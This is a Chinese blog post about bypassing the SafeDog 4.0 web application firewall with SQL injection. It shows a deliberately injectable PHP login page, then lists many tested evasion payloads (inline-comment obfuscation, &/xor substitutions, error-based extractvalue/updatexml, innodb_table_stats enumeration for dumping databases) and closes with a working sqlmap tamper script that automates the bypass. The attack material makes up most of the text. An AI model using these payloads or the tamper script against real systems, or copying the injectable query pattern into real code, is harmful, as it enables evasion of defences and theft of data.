最近准备多搞搞实战,就准备从绕waf开始,第一位受害者就选安全狗4.0叭。
源代码:
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>check</title> </head> <?php $agent = $_SERVER['HTTP_USER_AGENT']; include 'connection.php'; function LoginCheck() { if (isset($_GET['username']) && isset($_GET['password']) && !empty($_GET['username']) && !empty($_GET['password'])){ $username = trim(@$_GET['username']); $password = trim(@$_GET['password']); if (empty($username) || empty($password)) { echo" <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'> <br><br><br> <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Not be Empty</h1> </body> "; exit(); } } else{ echo" <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'> <br><br><br> <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Input your username and password</h1> </body> "; exit(); } return array($username,$password); } function MysqlSelect($conn,$data) //注册 { $sql = "select * from geekuser where username='".$data[0]."' and password='".$data[1]."'"; $result = mysqli_query($conn,$sql); if ($result) { $row = mysqli_fetch_assoc($result); if ($row) { echo " <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'> <br><br><br> <h1 style='font-family:verdana;color:red;text-align:center;'>Login Success!</h1><br><br><br> </br> <p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Hello ".$row['username']."!</p>"."</br></br> <p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Your password is '".$row['password']."'</p> </body> "; }else{ echo " <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'> <br><br><br> <h1 style='font-family:verdana;color:red;text-align:center;font-size:70px;'>NO,Wrong username password!!!</h1> </body> "; } }else { echo" <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'> <br><br><br> <h1 style='font-family:verdana;color:#ffffff;text-align:center;font-size:15px'> ". mysqli_error($conn) ."</h1> </body>"; } } $data = LoginCheck(); MysqlSelect($conn,$data); ?> </html>
'and 1=1-- -
被拦截:
&符号可以绕
'%261-- -
'%26true-- -
'%260-- -
'%26false-- -
xor同样可以绕:
'Xor 1-- -
'Xor true-- -
'or length(database()=4)-- -
会被ban,这样绕:
'%26(length(database/**/())=4)-- -
'%26(ascii(@@version)=53)-- -
这样也可以
1'or -1=-1-- -
1'or -0=-0-- -
...
内敛注释:
1'or /*!1=1*/-- -
或者简单粗暴点的 直接绕过and和or:
/*!11440OR*/
/*!11440AND*/
%23%0a绕过
order%23%0aby 3
内敛注释加注释绕过:
1'/*!order /*!/*/**/by*/4-- -
1'/*!order /*/*%/**/by*/4-- -
1'/*!order /*!/*/**//**/by*/4-- -
1'/*!order /*!/*/**//*/**/by*/4-- -
同样类似上面绕过and方法:
/*!11440order*/
利用内敛注释与注释的混淆绕过
1'/*!union/*!/*/**/*/select/**/1,2,'cl4y'-- - #这个地方select后面的/**/要加,不过如果语句复杂一点就不用加了。
/*!11440union*/:
/*!11440union*/
/*!select/*!/*/**/*/
单独的括号和函数名都不会检测,思路就是分开函数名和括号就行:
version () #直接空格
user%0a() #这个地方%0a~%20有很多,类似绕过空格
database/**/() #注释符
user/*!*/() #内敛注释
...
在报错注入的时候可以用这个格式绕过:
/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/
...
这个地方没有找到方法绕过,不过Mysql>5.6.xmysql
库里增添了两个新表,innodb_index_stats
和 innodb_table_stats
这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测,详见这篇文章
最后就可以拖库了:
有几个万能绕过的payload:
安全狗会正则想要ban掉的字符,比如如果将一个参数分割之后union select两个单词顺序出现就会ban掉,这里就利用正则的缺陷,让union或select不能单独分离出来,就可以绕过,比如这几个payload:
#针对两个关键字连用或者函数
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
#针对单独的一个关键字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/
以上亲测好用,我觉得有这种payload,安全狗就是纸窗户qwq。
最后附上tamper脚本:
#!/usr/bin/env python # -*- coding: UTF-8 -*- from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): if payload: payload=payload.replace("=","/*!*/=/*!*/") payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/") payload=payload.replace("AND","/*!AND/*!/*/**/*/") payload=payload.replace("OR","/*!OR/*!/*/**/*/") payload=payload.replace("UNION","/*!UNION/*!/*/**/*/") payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/") payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/") payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/") payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/") payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/") payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/") payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/") return payload